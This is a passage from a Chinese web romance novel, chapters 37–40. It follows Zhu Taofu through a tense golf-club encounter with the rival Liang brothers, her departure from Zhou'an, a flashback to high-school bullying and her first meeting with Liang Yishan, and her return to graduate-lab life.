祝峥:……
“小浮,你来了。”注意到祝家两兄妹靠近,姜宛眉眼间的阴云一扫而尽,微笑着冲她招了招手。
若不是祝陶浮心里清楚,自己和她只是一面之缘,外人瞧见,以为两人多为熟稔。
其他的观点,祝陶浮不敢苟同,有一点祝峥说对了:
姜宛的确是豪门圈内的女子标杆,举手投足间完美得滴水不漏。
闻言,众人纷纷转头,看向来者。
这其中有些人在七月的聚餐见过她,有的没有。
无论见与不见,在看到她的时候,都会微微晃神,由衷地感到惊艳。
豪门圈里俱是人精,惊艳过后,是谨慎地同向来没有抛头露面的祝陶浮,礼貌打招呼。
“祝小姐,您好。”
“也太漂亮了吧,真是好看。”
“祝家真会养人,跟祝公子不愧是兄妹,模样都是一顶一的好。”
……
众人交流见均是客套表面话语,但也是实话实说,祝峥和祝陶浮同父异母,模样不甚相同,却是一样的漂亮养眼。
如果细细研究,祝陶浮当然是更为优势,容貌艳盛。
大家留意到的事情,姜宛自然发现。
对于其余内在的东西需要慢慢察看,外在容颜的冲击是第一时间,也是最为直观。
方才轻松搭在自己臂弯的手指,蓦然收紧,美甲甚至不小心掐住自己的皮肉,姜远铭看了一眼姜宛,若有所思。
依然保持笑容,笑意未达眼底,暗示她不要乱了分寸。
“你刚刚怎么了。”
姜远铭来到姜宛的伞下,她低头搅弄鸡尾酒杯里的冰块,有些心不在焉。
今日天公作美,午后阳光闲适惬意,不是特别暴晒炎热,大部分人在草坪上握杆挥舞、言笑晏晏,一部分则在宽大的遮阳伞下,休憩闲聊。
唯独有一人独处,仿佛周遭的应酬交流与她无关。
然而她的一举一动,实则被众人有意无意地默默关注。
“没有。”
姜宛矢口否认。
露天茶歇区由低矮花丛分隔,透过稀疏花影,姜远铭瞥了一眼,几个座位以后的清冷身影。
“她也就剩副皮囊值得一瞧,不值得你走神。”
手指轻敲桌面,令姜宛不得不抬头回应。
“……我说了,我跟你一样,只是觉得,她好看得有些过分而已。”她再次解释。
不置可否,姜远铭轻飘飘道:“怎么,前几天在寺庙还没看够。”
姜宛再次沉默,耍起小性子不理人,手撑着下颌看向远方果岭。
她拒绝交流,姜远铭也不强求,交叠的长腿放下,拍了拍裤边褶皱,站起身:“希望你刚刚的失态,的确如你所言。”
37.第 37 章
众人心思各异,祝峥来到遮阳伞下,脸色瞬间由晴转阴。
“你把甜品全吃完了???”
祝陶浮不喝酒,她的桌上侍者安排的甜点,鸟笼式样的下午茶,三层瓷盘装盛,从下往上,咸甜两种口味。
底层咸口的三文鱼、蟹肉、三明治,甜口往上果酱司康,以及顶层的马卡、慕斯、奶油挞……
再配以解腻的红茶,和辅料鱼子酱。
鱼子酱是里面价格最高,但她不爱吃,一整罐放在旁边。
其余在祝峥看来没有价值的咸甜碳水,她反而吃得一干二净,瓷盘里残留着蛋糕边角渣沫。
面对外人,祝峥向来是四平八稳、游刃有余,唯独对着祝陶浮,他的火气总是抑制不住地一惊一乍。
已经习惯他情绪的不稳定,祝陶浮浑不在意道:“你可以声音再大一点,你不想让大家知道,刚好就都能听见了。”
有气撒不出,祝峥:……
继续让她这样吃下去,着实丢人现眼,祝峥把人赶走,美其名曰让她“散步消食”。
不懂也不会高尔夫,祝陶浮施施然站起来,离开球场区域,让侍者带她回房休息。
庄园功能分区齐全,侍者指引她穿过一楼大堂,准备前往另一栋酒店式别墅。
琴声优雅缓缓流淌,丝绒地毯吞没噪音,渐渐地,她跟随侍者来到走廊拐角。
理论上穿过厅堂方可抵达住宿区域,然而尽头处的厚重木门缓缓打开,浓烈馥郁的香烟气味瞬间从包厢里漫袭过来。
透过半开的古雅大门,可以瞧见这一带是雪茄区。
里面的侍者穿着与带领祝陶浮的同一制服不一样,是勾勒身材的定制裙装,她们正笑意盈盈呈着托盘,为男人们剪茄点火。
酒杯碰撞,烟雾缭绕,祝陶浮注意到他们当中的熟悉面孔。
她看了一眼停止脚步的侍者,对方全然没有刚刚正视她的标准微笑,而是低下头没有与自己对视。
心下了然,祝陶浮打算转身离开。
一道低哑男声,叫住了她。
“哟,这位美女不是老熟人吗,快进来坐坐。”
随之而来的,是另一声戏谑称呼。
“哎呀哥,什么熟人啊,分明是家人。”
“是吧,弟妹。”末尾两字,对方有意无意,咬字很重,拖长尾音。
--
梁氏集团董事办,梁董在会议室听取海外项目进展,其余人员一切工作照旧,井然有序开展。
助理办公室,特助下楼去对接项目,进行会议纪要,魏敏身为新来的助理,坐在工位上整理资料。
高空的阳光宁静和谐,但若沉溺其中,想往前进一步,则会踏空于虚无缥缈的云层之中。
眼睛盯着电脑屏幕,貌似在核对行程安排,心里却早已飘到千里之外。
精致妆容之下,掩饰不住的冷汗,隐隐浸出发丝。
当初是因为能够进入梁氏、而庆祝找了份好工作所做的美甲,后来长时间没有去保养,已经要掉不掉。
在她紧张地有些神经质反复抠弄,指甲快要秃噜皮。
想了想,她用钥匙打开抽屉,翻找出藏在补妆杂物用品之下的一张名片。
指尖捏着名片,她看似是往洗手间的方向走去,实际推开旁边沉重门阀,走进消防通道。
在确定楼梯间空无一人,她犹豫良久,还是解锁手机屏幕,首先给梁以盏发消息。
特别紧急的消息,秘书会提醒待办。
他本人或者秘书工作联系方式,均未回复。
没有泄气,借着楼道灯光,她仔细摁下名片上的号码。
这次对方响了几声,通话接通。
“今儿是哪阵风,把你吹来了。”电话那端,传来公子哥惯常的戏谑语气。
“小助理,找我有何贵干。”
也不同他兜圈子,魏敏直入主题、言简意赅。
“裴少爷,我打梁董的电话打不通,所以来打扰您。”她说。
若有所思地哦了声,裴瑄稍稍收敛吊儿郎当。
“今天祝小姐参加的高尔夫聚会,梁靖明和梁煜也去了。”魏敏。
方才尚饶有兴致地闲聊,倏地电话那头冷寂下去,沉默了几秒钟。
慌乱地咽了一下,她听见裴瑄的声音,是预料之外的平静。
“有意思。”相较于她的担忧,裴瑄则显得从容不迫,甚至还轻轻低笑了一声。
“怎么,魏小姐这是演的哪一出啊?”
以前魏敏觉得裴瑄或许是个虽纨绔、但还算平易近人的二代,现在他懒洋洋地反问,语气里是不加掩饰的冷漠,她才惊觉,好说话的和颜悦色,不过是包装的假象。
滴水不漏,将问题重新抛给她。
繁华之下,是数不尽也看不明白的重重危机。
当初魏敏觉得,尽管自己学历尚可,放在偌大梁氏平平无奇,自己一个刚毕业的学生,就能来到董事办工作,是莫大的幸运。
却原来不是老天眷顾的幸运,而是被人精心挑中的工具罢了。
有用最好,没用大不了玩坏了扔进垃圾桶。
她不想被当做垃圾,她也不想再当可有可无的工具。
但她有自知之明,没有本事和头脑在复杂的利益旋涡中斗争,所以面对裴瑄的提问,她将思考良久的答案,艰难地说了出来。
“裴少爷,您也知道,我演技拙劣,人情这方面并不擅长。”言尽于此,她苦笑了一下。
“您信也好,不信也罢,可我总得表明我的态度。”很快地收拾好心情,魏敏诚恳地说。
“我只想事成之后,能够全身而退,安全地离开洲安。”
自认为是情真意切,袒露自己最本真的想法,但这并未打动裴瑄分毫。
对方没有一丝同情的意味,反倒笑意更深,像是在听一个无关紧要的故事。
“原来你就是这么跟你上司汇报工作的,你可没有第一时间站出来啊,魏小姐。”
裴瑄笑了笑,言辞间是与温和笑意,截然相反的冷漠刻薄。
“实话告诉你,这消息我们早就知道了,你现在才端上来,黄花菜都凉了。”
如同沾了蜜的刀尖,划得人心口钝痛,他毫不在意。
“所以呢,我们并不需要你,为什么要保下你。”
悄悄地深吸一口气,魏敏尽量克制住情绪,有条有理地客观陈述。
“是……的确是我的问题,纠结太久,没能立刻跟你们坦白。”
“但我不像你们
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,都是有权有势有背景的人物,我就一普通人,在夹缝里生存很难了,所以会恐惧会害怕,这是正常的犹豫时间。”说到这里,魏敏有些心酸,眼泪就要掉下来。
可电话那头的男人,没有丝毫触动,语调平淡地一如既往。
“没什么事的话,我就挂了。”
“……等等。”来不及伤春悲秋,魏敏赶紧叫住他。
“我是想说,肯定有用的,我对你们!”她咬了咬唇,话语有些颠倒,尽量表达对用意。
听是听懂了,裴瑄没怎么松口,依然漠不关心。
“你既然一开始投奔了梁靖明兄弟两,就没想到今天,会选择对立面?”
“……谁都有昏头的时候,我也不知道会是这样。”
一直哭哭啼啼,像是没什么主意,这会儿魏敏,倒说了句关键词。
“但我就是觉得,梁董最后会赢的。”
“所以我当然,要选胜利的一方。”
--
郊区庄园雪茄室,祝陶浮坐在沙发上,面无表情。
梁靖明和梁煜,在美女侍者的服务下,吞云吐雾,祝陶浮则止不住地呛咳。
她是真的闻不得烟味儿,但落在他们两眼里,觉得祝陶浮多少不给面子。
至于这甩脸色,是祝陶浮的意思,还是梁以盏的指示,或者两人都有,就值得细细深思。
不过表面上,他们还是要应和祝陶浮,毕竟是他们把人叫进来的。
他们皮笑肉不笑,摆了摆手示意侍者下去。
梁靖明端起酒杯,缓慢地啜饮一口。
“唐突弟妹了,没想到闻不得烟味儿。”嘴上说着抱歉,他眼底分明没有半分歉意,倒是满满的试探。
“但是,三弟跟我们在一起是会抽烟的,那你们怎么相处呢。”
状似不经意地提问,实则祝陶浮怎么回答,都不是特别应景。
两人不怎么在家,或者,梁以盏没怎么抽烟,都能让对面揣摩颇多。
因此,祝陶浮面色平静,淡淡回应:“我不介意。”
看似表明态度,实则到底在不介意什么,有效信息几乎为零。
梁煜笑了一下,摇晃酒杯,眼神如毒蛇般缠绕着对面,像要逼寻出些什么。
“不愧是三弟挑的人,倒是有趣。”
放其他人身上,理应顺着此言,往下接话。
然而祝陶浮跟个冰雕似的,坐在那里一言不发。
生动形象诠释,什么是冰美人。
原以为这个半路回祝家的私生女,会是柔弱的、无措的,或是有野心的、妄图攀附往上爬的。
无论是哪一种,只要有弱点,就能拿捏制衡。
但一定不会是眼前人无波无澜、无欲无求。
梁靖明和梁煜,互相隔空对视一眼,看出了彼此目光里流露的些许疑惑。
凝结成冰是吗,那他们就偏要将冰敲碎。
秾丽瓷釉般的眉眼,偏骨子里压着清冷柔韧,反差之下,很容易勾引出人的劣根性--破坏欲。
事成以后,若是能收为己有,非得调教一番,磨磨性子。
一唱一和,梁靖明看向祝陶浮,意有所指。
“若是三弟不懂得怜香惜玉,那何不择良木而栖?”
38.第 38 章
自始至终,祝陶浮神情冷淡,是与她无关的毫不在意。
知晓梁以盏那边态度模棱两可,怎么祝陶浮跟复制粘贴似的,同样的模糊处理。
冷心冷情,这一点,莫名重合在了一起。
要么是他们商量好的对策,要么是他们真的不在意。
根据过往诸般,梁靖明和梁煜,目前判断,后者可能性更大。
或许,真的只是,玩玩而已。
恰巧祝峥进来,托辞带走祝陶浮,更印证了猜测。
当事人没放在心上,利益相关的祝家,可是坐不住了。
“多谢两位少爷照顾,小妹刚还嚷嚷着要喝的芭乐草莓,餐厅鲜榨才好,快回来喝吧,气温高免得放坏了。”
重新回到露天遮阳伞下,仿佛刚刚密闭厚重的室内谈话,如梦一场。
祝陶浮微眯着眼,看向祝峥。
“你说的果汁呢,怎么是白开水。”
气不打一出来,祝峥冷冷道:“没把你渴死,是我最大的仁慈,还嫌我这那的,从哪里找我这么好的哥哥。”
不想跟他拌嘴,祝陶浮默默端起玻璃杯,喝起普普通通的凉水。
“以及,你胆子也太大了,下次独自面对他们两,好歹吱个声啊!知不知道我多担心!”
祝峥独自焦虑,祝陶浮平静喝水。
“不是梁以盏让人告诉我,我根本不知道。”
手指微顿,她放下玻璃杯,语气散漫如同闲聊,根本没觉得方才有多危险。
“是吗,那你要是不知道呢。”
“哦,反正梁以盏说有办法,只是那声大舅哥喊得,我就没多问了。”他厚着脸皮,轻咳两声邀功。
祝陶浮笑了一下,看向因为外人在、只能忍住发火的祝峥,幽幽说道。
“那不就得了,有你没你,都没差。”
“放……算了不骂人,这家没我,迟早得散。”祝峥长长叹气,捂住额头。
球童见状,以为他是晒了一下午不舒服,赶紧过来递上冰袋。
祝陶浮帮忙接过去,贴心地敷在他额头上,语气调侃。
“嗯嗯,辛苦了,爱情保安。”
返回途中,祝峥仍然叨叨,祝陶浮独自面对梁靖明和梁煜,也颇为大胆了些。
“行了,又不是什么洪水猛兽,怕什么。”
晚风清爽,祝陶浮将窗户开了些许缝隙来稍微透气。
夕阳西下,倾泻最后一缕天光,烟霞铺开在缓慢起伏的低矮山脊,温柔覆盖上薄粉纱幔,沿途的花草似沉睡在宁静和谐的氛围里。
偶有飞鸟掠过,才堪堪惊醒。
“是,的确在俱乐部里,他们不会把你怎么样。”祝峥躺靠在座椅,心累地揉了揉眉心。
“但万一试探出些什么,你觉得你能好过。”
回应他的,是沉默。
以为祝陶浮是在思索,所以晾了他半天没有动静。
祝峥觉得孺子还是可教,遂拨弄手机处理消息。
然而等了好一阵子,没有等来任何声音。
转头望过去,发现不知道什么时候,祝陶浮早已闭上眼睛,陷入沉睡状态。
她自己无知无觉,脑袋一点一点,就快要撞上车窗玻璃。
撞死得了,祝峥决定气死路上拉个垫背的。
就在额头要碰到坚硬车窗的那一刻,他还是伸手,拽住她衣摆。
算了,我只是看在她那漂亮的脸,还有用处,祝峥冷漠地想。
被他这猛地一拽,祝陶浮陡然间脱离梦境。
“……什么情况?”眼珠转了两下,她困倦地睁开眼,怏怏地打了个哈欠。
祝峥冷冷道:“朽木不可雕也。”
不甚在意地哦了声,祝陶浮稍稍坐起身,懒洋洋地开口。
“那就不雕了,我准备回去了。”
搞不清楚她又在说哪门子梦话,祝峥觉得自己跟她一说话就来气。
“什么回去,你还做梦呢,现在我们不就在回去……”
“我是说,我要回栖梧了。”祝陶浮。
“知道,研三忙论文。”当她是临时回去忙学业,祝峥没有过多干涉。
“下个月中秋记得回来,梁家举行团圆晚宴,到时候我和祝家人也会去。”话音一转,他嘲讽地笑了一下。
“死的死,伤的伤,才开始顾念团聚。”
死的死是指昔日梁氏集团掌权人、梁以盏的生父,成了植物人,半死不活地躺在病床上,和死了也没差。
伤则是梁靖明和梁煜之前气焰嚣张,外界皆传梁氏以后会落入他两之手,然而半途杀出个梁以盏,刹那间销声匿迹。
虽然他们仍然在梁氏占有一席之地,但去管理传媒分线,和架空权力养老没什么分别。
现在唯有梁以盏一家独大,梁老爷子反而唱起了团圆戏码,可真是够讽刺的,祝峥冷眼旁观。
似乎不止他一人是持旁观的态度,名义上未婚妻,祝陶浮对他这话,一如既往,情绪没有一丝波动。
--
“哎,一转眼要到十月,你就准备回去了。”
洲安城的一家日料店,许若歆说什么都要请祝陶浮吃饭,之前全是后者买单。
但是散伙饭,许若歆提不起来什么劲,心思不在美食上,委屈巴巴地看着祝陶浮。
“没事,我下个月还会再来的。”搅弄着冰淇淋土豆泥,祝陶浮安慰她。
“啊,真的吗,为什么又来呀!”方才耷拉着眼尾,一瞬间变得亮晶晶,许若歆期待地看着她。
大致讲述来龙去脉,下个月世界赛,尽管举办地在国外,国内的陪练战队需要开始筛选人员。
其中祝陶浮作为辅助的分析师,可以远程进行bp模拟建议,可到底还是得参加碰头开会,总不能一直神龙不见尾。
“等等。”听出一二端倪,许若歆皱了皱眉。
“影子计划,这名字我觉得就不好。”
影子,顾名思义,是照应,是陪衬,是见不得光。
“不会……你还是跟在QSG一样,不被看见吧?”许若歆反问。
“……又白打工啊。”叹了声气,她忧愁地把碗里温泉蛋,戳了个稀巴烂。
“给钱的,还包来回车票,不算干苦力。”祝陶浮想得很开,不觉得有什么难堪。
摇了摇头,许若歆道:“要是好事,之前在国内举办世界赛,主场陪练团,都是官方插手下场,才让一些厉害的选手加入。”
“嗯……说的是,等到比赛
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结束,就会公布名单的。”
补充说辞,本想让许若歆安心,结果起了反作用,许若歆更不赞同了。
“那都十一月了,比赛结束公开,有什么用。”
“打得好,是选手厉害,打得不好,是陪练团菜。”许若歆很是无奈,苦中作乐地哈哈两声。
“当这个陪练团分析师,你还不如自己亲自上场,去扬名立万!”
祝陶浮也笑了,缓和气氛地开玩笑:“好啊,燃起来了。”
无论什么样的困局,从大学到工作,两人都是在嘻嘻哈哈里,默契缓解。
生活中不是所有困难都要消灭,任它放在那里笑看,也是另一种解决的答案。
“话说回来,小桃桃你看着挺乖乖女的,你家里人允许干这一行吗?”她问。
“还好,他们理解。”回答得很平静,祝陶浮没有过多解释,许若歆以为是她的父母还有兄长支持。
“行吧,他们不反对就好,电竞在传统家长的心里,仍然是不务正业的行业。”
“而且,你好像就喜欢看,不是特别爱玩?”
记忆里,在本科宿舍,祝陶浮看得多,玩得少,许若歆如是提问。
祝陶浮笑笑,解释道:“嗯……小时候的习惯吧,写完作业写累了,自己不想玩,就看师兄师姐玩游戏。”
“师兄师姐?”许若歆慢慢重复了一遍称呼,颇为好奇。
“你是说学长学姐吗。”
“不是,是我老家附近道观的同门。”祝陶浮。
许若歆恍然大悟,前两天通宵加班遗留的黑眼圈,跟着她瞪圆双眸而放大,看上去辛酸又心疼。
“原来不是学术界,是法术界啊!”许若歆惊讶。
祝陶浮:“……这是世人的误解,我们不会腾云驾雾。”
本想还逗乐两句,忽然想到什么,许若歆怀疑道。
“慢着,你一直单身的原因,不会是你们有什么门规,不让结婚什么的吧?”
在许若歆的印象里,跟信仰神佛扯上关系,多半都是断情绝爱。
祝陶浮轻咳两声,只道:“我们观里比较小,人也少,没那么多规矩,道长也没让我皈依,而且基本是正一教,是可以结婚生子的。”
这个问题,在高中时期梁以盏陪她去洲安的道观参拜,早已提询质疑。
那天阴云密布,快要下雨。
之所以天气记得如此清楚,是因为少年拽冷的脸色,比阴恻恻的天色还要沉暗,站在道观门口,长腿不肯迈进。
经她解释一番,梁以盏还是跟随进去,就是脸色依旧很冷,所幸两人终归是赶在下雨前离开。
“哦,原来如此。”许若歆若有所思,继续询问。
“那师兄师姐呢,现在还玩游戏吗,要是他们知道你从围着他们的旁观者,变成了指点的参与者,肯定会觉得很有意思很欣慰吧?”
停顿片刻,祝陶浮垂下眼睑,轻声道:“他们早已结婚,有了各自家庭,人一旦开始进入婚姻关系,很多事情便慢慢地会淡下来。”
“哎,的确。”没有发现,她眼神里一闪而过的落寞,许若歆如是分析判断。
“这就是我不想结婚的原因,所谓婚姻可能有甜蜜,但总归不自由。”
39.第 39 章
晚上回到小洋房,梁以盏难得没有在家。
但客厅里的落地暖灯,依然静静地亮着,仿佛他依然在那里,等她回来。
明天就要启程,祝陶浮如同往常一样,进屋上楼,回房收拾行李。
只是在路过二楼的时候,看到电竞房,与紧邻的书房,不免有些恍惚。
偶有半夜,她摘下耳机,从电竞房出来,未曾关闭严实的书房门,透出些许光亮。
时差原因,梁以盏在线上听取跨国项目汇报,交流内容不甚明了,但能听到他低沉磁性的谈话声。
高中两人同住屋檐下,唯一的卧室是祝陶浮使用,相当于简易书房。
廉价窄小的出租屋的隔音效果,比不上如今宽敞安静的庭院。
而梁以盏则在客厅茶几上,敲击笔电尽量压低声音与对面进行她并不清楚的对话。
矮旧老屋楼上夫妻吵架、楼下父母打骂小孩,相邻的是电视剧里剧情播放、大笑哄闹。
一片嘈杂里,梁以盏低沉嗓音反而莫名地令人清净。
即使六年以后的夜半,也是一样的平和宁静。
过去好像一场梦,在洲安的一切也恍恍惚惚地看不清。
一夜无梦。
行李头一天收拾完毕,尚未到十一黄金周的旅游旺季,从洲安到栖梧的飞机同高铁价格相差不大,上午十一点甚至打折还便宜一点。
时间充裕,祝陶浮拎着行李箱,打算在地铁口的便利店买点牛奶面包当早餐。
慢慢地推着行李箱走出房门,来到走廊双手拎起箱子把手下楼梯,对面房间的门忽然打开。
男人衬衫领口散着,一边走一边随意扣上,袖子半挽露出流畅性感的手臂线条,接过她手里的箱子,单手拎起轻轻松松下楼。
如履平地,独留祝陶浮站在三楼梯口沉默。
“怎么了。”
这三个字,一直是她说的比较多,今天轮到梁以盏站在一楼,放下行李箱后,与她遥遥相望。
默了半晌,祝陶浮慢吞吞道。
“你……你不去上班?”等了一会儿,等来了这么一句。
静静地掀起眼睑,一楼落地窗外的阴云,融落进他灰沉眸色。
分明是他仰头,站在台阶下。祝陶浮却感觉到,他沉甸甸的视线,游刃有余,仿佛他才是俯视的掌控者。
既然祝陶浮这么说,梁以盏浑不在意地接话:“都要走了,来送送,我的……”
顿了顿,梁以盏拖强音调:“室友。”
此言着实没法接,祝陶浮走下楼梯,讷讷地发好人卡:“那你真是……好人。”
室友。
好人。
风过无痕,墙边绿植婆娑摇曳,发出些许沙沙声响。
他不说话,祝陶浮也不好再多言语,打算默默地推着行李往外走。
腕骨忽然一凛,带着微凉而不容置疑的力道,牵制住她,令她无法再向前。
嗓音喑哑落于耳侧,祝陶浮听见他说:“这些年过去,临走前的一句话,同样这么敷衍吗。”
--
中元夜过,尽管黑暗里暴雨如洗,可当白昼来临,清风拂过水波没有留下任何痕迹,那些肮脏血污好像从来都没有发生过。
砰地一声,女孩被人群推搡,跌落进昨夜尚未干涸的路面水坑里。
昂贵精致的校服裙摆,瞬间染上泥泞,脏污不清。
始作俑者也是一群女生,笑嘻嘻地围在她身侧。
看到她那张漂亮脸蛋,狼狈而隐忍,心里泛起扭曲的快感。
“啧,装什么清高,你不会以为,祝家会管你吧。”
“哈哈哈哈,可能前几天又被人送礼物,以为能攀上高枝,野鸡变凤凰咯!”
“说什么呢,那家少爷怎么能看得上她,想上她才对吧!”
“诶,要我说,梁以盏怎么当时没把她掐死,至少弄个半死不活,也不至于现在碍着咱们得眼了?”
“好了好了,别跟这种晦气玩意儿纠缠,晚上还有聚会,因为她而错过,可就太不划算了。”
……
方才为了保护笔记本,避免被污水模糊,祝陶浮趁着人群混乱,将笔记本迅速丢藏在旁边的灌木丛里,自己只能直直地受到撞击,柔软掌心擦过污水里的粗粝砂石,磨得钻心生疼。
顾不上查看伤痕,她艰难地爬起来后,一瘸一拐地走进小树林里,翻找出笔记本。
还好,字迹清晰、页面完整,就是有明显的旧有缝合痕迹,以及,刚刚新战上去的手指血痕。
这是上个月,班上那群纨绔少爷千金们,戏弄地把她放在书包里的数学笔记本,放在了梁以盏的桌屉里。
数学笔记本是她从栖梧转学时带来的,她记载的最为认真用心,特意用了不一样的、价格稍贵的封皮,一眼瞧上去,便与其它的书本不同,也是给了这群杂碎可乘之机。
她顺势前往梁以盏的座位翻找,正当拿出笔记本时,课桌的主人恰巧此时、路过此地。
明明他几乎不会来学校,可偏偏就是如此巧合,在祝陶浮停留的一刹那,本人刚好赶到。
在对方清冷阴影倾斜而来的一瞬间,祝陶浮明白,自己上当了。
随之而来的,便是被少年修长有力的手掌骨节,钳制住身体最为脆弱纤细的雪白脖颈,狠厉地掼摁在后墙上。
祝陶浮手腕脱力,刚到手的笔记本,没有力气拿稳,掉落在地面。
然而笔记本不再完整,里面的纸页,明显早已经过人为撕扯毁坏,零零碎碎,散落一地。
那天过后,祝陶浮没有回去再寻找。
这群纨绔们平日里戏弄她没有置自己于死地,可在与梁以盏对视的那刻,她能感觉到,对方异于常人的灰暗眸瞳,泛着无机质的冰冷。
是没有生命的,暗沉深渊。
可能是出于小时候道观的经历,或是梁以盏丢来的膏药证明他没那么绝情,在雨夜巷口撞见他一身血污的时候,祝陶浮尽管心里害怕,走过去伸出手的时候,难免手指发颤,却还是将他扶去附近的诊所就医。
原以为中元夜过,自己与他是两条平行线,不会再产生交集。
可第二天下午,头天因为转医药费为理由、而加上联系方式,祝陶浮收到留言,数学笔记本在她课桌里。
可惜的是,失而复得、重新修归于好的笔记本,到手的喜悦还没来得及热乎,便被霸凌者的冷水兜头浇得满心寒凉。
寝室是回不去了,祝陶浮没有习惯性地在便利店凑合一晚,前往居民楼里价格较低的黑网吧。
已经来了三四次了,她以为这次也不会有太大问题,谁料刚刚缩在座位上打算听听网课休息一会儿,便被一群流里流气的混混们拉扯出座椅。
就在祝陶浮挣扎的时候,一只清冷带有伤痕的手背,将她揽过隔绝外界的混杂
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烟酒。
一群混混见到来人是谁后,相视一眼,停顿两三秒,紧接着迅速四散逃跑。
昨夜以后,他们群里流传出一张抓拍图片。
一个哥们单挑一群打手,竟然将他们全都击倒在地。
偷拍目击者表示:“此人是个狠角色,目前尚不明确是何方大佬,建议绕道而行。”
而眼前少年凛冽带有血痕的眉眼,与那张抓拍的血污图片,诡异地重合上了。
无他而已,只因五官凌厉深刻,是世间少有的冰冷艳色。
过目不忘,不会认错。
他们都是群色厉内荏、被酒色掏空身子的小混混而已,哪里见识过真正的狠厉大佬。
见到他揽肩的行为,那还说啥了,打不过,走为上策呗。
不知道围上来的五六人,为什么突然之间全都作鸟兽散,祝陶浮看着他眼角包扎的白纱布,又瞅了瞅自己身上的伤痕,她悄声道。
“你说,他们是不是觉得,我们是那种很能打、很猛的道上,所以害怕跑……嘶--”
话音未落,唇角被贴上一个冰凉创口贴,止住她因为说话,而微微裂开渗血、有些火辣辣疼痛的创伤。
修长手指轻擦过她红嫩唇珠,梁以盏淡声说:“是,那闻风丧胆的不良少女,可以走了吗?”
其实即使她身上带着脏污和伤痕,过分艳丽的白皙容颜上,那清澈黑亮的眼眸,一眼瞧过去,分明是温柔漂亮的乖乖女。
但低瞥灰眸,撞见她强行壮胆而鼓起勇气的弯笑眼瞳,戏谑的话语到了嘴边,梁以盏不知怎么地,改口顺着她往下说。
闻言,祝陶浮点了点头,隔着校服外套,他感觉到女孩瘦弱肩膀稍稍放松下来。
“可以的,不良少男。”
于是,祝陶浮便跟着梁以盏回了他的出租屋。
在他那里凑合一晚,然而凑合了一晚又一晚,直至高考。
“就这么放心我?”进屋后,梁以盏问。
反正在哪里都是凑合,祝陶浮点头回答:“对啊,你是个好人。”
这是第一晚将就下来的时候,她的评价。
如今时隔多年要离开,她的答案,依旧如此。
“好吧,那我的确没什么长进。”面对问题,祝陶浮是回避,所以梁以盏拽住她手腕时,她回过身,低头没有看着他,尽量缓和气氛,说了这么一句话。
好像坦然地承认是自己的问题,那便可以独自负担着离开。
“没长进吗。”梁以盏靠近一步,修长手指顺着她的腕骨而上,接着是她薄皙皮肤下,隐隐跳动的脉搏。
他冰冷骨节,像是触摸着她微弱而鲜活的心脏。
祝陶浮还是没有抬眸看他,却留意到视线里,他中指出现的那个银质戒指,轻轻地碰撞了一下,她藏在衣袖里的银手镯。
还是今年中元节那天,梁以盏给她戴上的,说是辟邪用。
如同高中那年他索要的生日礼物,是要她在手工店里,篆刻着简易经文的银质戒指,理由亦是,银与经文,皆为辟邪。
这与后来送给她串着平安扣的手链,价值天差地别。
如此格格不入,价格高昂的玉碎,祝陶浮以为廉价的银戒指也会遗失在岁月里。
可却在中元节瞧见,现在也是。
掀起眼睑,灰眸沉暗如落地窗外将来的风雨,梁以盏嗓音轻轻落下。“我当你是长情。”
40.第 40 章
十月,回到栖梧的日子,与在洲安是截然相反,从QSG基地到老洋房的两点一线,变成图书馆、实验室、寝室的三点一线。
生活看似变得平淡,实际上还是与过去有着千丝万缕的联系。
研究生的室友群里,大家都忙碌各自实习和论文,并互相分享投哪里的offer。
“卧槽,我本科的一个同学,保研去洲安,她现在进梁氏集团了!一路顺风顺水,运气也太好了吧!”
“这我真得接,接好运,接offer。【双手摊开、接jpg】”
“大接特接,+1。【表情包跟随】”
……
接好运的表情包队列,祝陶浮不点一下显得有些突兀,只好跟着转发。
“诶,小桃桃,怎么没见你在群里发言?”
平日里闲聊或者涉及作业,她会与她们讨论一番。
但如火如荼涉及到的秋招,祝陶浮却沉默以待。
“还没想好吧。”她如是回答。
“这哪是想不想的问题,而是做不做。”室友好心提醒。
“错过了秋招,春招可就没什么好的了。”
因为是真的没想好,也没想过变好。
坐在实验室的工位,祝陶浮轻轻地叹了声气。
“怎么了,数据不对吗?”隔壁桌同组的男生,难得见她叹气,滑轮椅滚过来,准备帮她检查演算,看看什么问题。
祝陶浮摇头,顺便把桌子抽屉里的洲安伴手礼,拿出来送给他。
“哎哟,我前些日子去外地参加研讨会,线上看群里发图片炫耀,还以为你漏了我呢。”杨鑫接过礼盒,哼哼唧唧地表态。
在理工男里,杨鑫长相属于清秀型的帅气,可他思维谈吐过于直来直往,以至于一直处于单身状态。
“哪有,怎么会。”祝陶浮。
“怎么不会。”他打开礼盒,翻出一块巧克力杏仁,边吃边闲聊。
“咱两以前还聊聊比赛,你去洲安实习的大半年,最近一两个月完全杳无音信,那小公司跟养老一样、朝九晚五的作息,难道比我这个天天到处飞、跑项目的还忙?”
杨鑫斜了她一眼,眼神中充满怀疑。
这个……
在QSG兼任分析师,出于战术保密,祝陶浮也不好多说什么。
没有察觉到她微微僵住,杨鑫自顾自往下,遗憾开口:“你是没看比赛,QSG这一两月的bp太精彩了,简直跟换了个人似的。”
的确换人了,本人就在眼前,祝陶浮继续沉默。
“就是有点神经刀,一会儿好,一会儿坏,明明新体系就应该磨合到底,不知道赛训组发什么神经,bp拉扯差点把自己的冠军给拉扯没了。”
祝陶浮:……
该说不说,杨鑫还挺料事如神,她唯有沉默以对。
奈何即使不说话,也能被他抓住把柄。
“你怎么一句话都不说。”叨叨半天,发现她但听不语,杨鑫终于从甜品里转移视线,狐疑地看向眼前人。
心虚地咽了一下,祝陶浮面上不显,坦然回望过去。
“哦,因为我觉得你说的太好了。”为表配合,她真诚地点了点头。
眼皮耷拉下来,杨鑫露出一个无语的表情:“油腔滑调,心口不一,我看你是谈恋爱了。”
祝陶浮:“……咳咳,咳……”
“什么情况,刚一回来,就听到说,小祝谈恋爱了?”
实验室房门半敞,从门外走进来一人。
他们两人正在闲聊,没有注意走进来的人影。
见祝陶浮止不住地咳嗽,他准备伸手,像是帮她顺气,拍了拍她的背部。
“是你在洲安认识的吗,那什么公司?我跟你说,一般这种小企业,没有前途都是混吃等死,如果学妹你跟在里面的谈,搞不好就会……”
啪地一声,一个文件夹横空而出,挡下了他的手掌。
“林斓,你什么意思?”方才展露的温柔笑意,在面对女生手拿文件夹时,脸色瞬间垮下来,不悦之情溢于言表。
“没什么意思,打苍蝇来着。”女生淡淡地端着水杯路过,仿佛真的只是在打一只恼人的虫子。
